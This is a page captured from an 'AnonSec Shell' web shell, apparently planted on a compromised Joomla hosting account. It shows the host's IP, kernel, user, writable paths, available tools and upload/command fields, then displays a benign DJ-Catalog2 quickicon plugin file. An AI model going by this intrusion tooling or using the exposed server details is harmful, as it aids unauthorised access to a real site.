AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/dansnotreville-fr/plugins/quickicon/djcatalog2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/dansnotreville-fr/plugins/quickicon/djcatalog2/djcatalog2.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined('_JEXEC') or die;

class plgQuickiconDjcatalog2 extends JPlugin
{
	public function __construct(& $subject, $config)
	{
		parent::__construct($subject, $config);
		$this->loadLanguage();
	}

	public function onGetIcons($context)
	{
		if ($context != $this->params->get('context', 'mod_quickicon')) {
			return;
		}
		
		$icons = array();
        $lang = JFactory::getLanguage();
        $lang->load('com_djcatalog2', JPATH_ROOT.'/administrator/components/com_djcatalog2', 'en-GB', false, false);
        $lang->load('com_djcatalog2', JPATH_ROOT.'/administrator/components/com_djcatalog2', null, false, false);
        $lang->load('com_djcatalog2', JPATH_ADMINISTRATOR, null, true, false);


        $icons[] = array(
            'link' => 'index.php?option=com_djcatalog2',
            'image' => 'icon-djc2',
            'text' => JText::_('COM_DJCATALOG2'),
            'id' => 'plg_djc2_quickicon'
        );

        JFactory::getDocument()->addStyleDeclaration("
				.icon-djc2:after {
					display: block;
					content: '';
					height: 60px;
					width: 50px;
					background: url(".JUri::root()."administrator/components/com_djcatalog2/assets/images/dj-catalog2.svg);
					background-size: 50px;
					background-repeat: no-repeat;
				}
				#plg_djc2_quickicon {
					position: relative;
				}
				#plg_djc2_quickicon .icon-options {
					position: absolute;
					top: 5px;
					right: 5px;
				}
				#plg_djc2_quickicon .icon-options:hover {
					transform: scale(1.2);
				}
			");

        JHtml::_('jquery.framework');
        JFactory::getDocument()->addScriptDeclaration("jQuery(function($){
				$('#plg_djc2_quickicon .icon-options').click(function(e){
					e.preventDefault();
					window.location.href = 'index.php?option=com_config&view=component&component=com_djcatalog2';
				});
			});");
		
		return $icons;

	}
}

Anon7 - 2022
AnonSec Team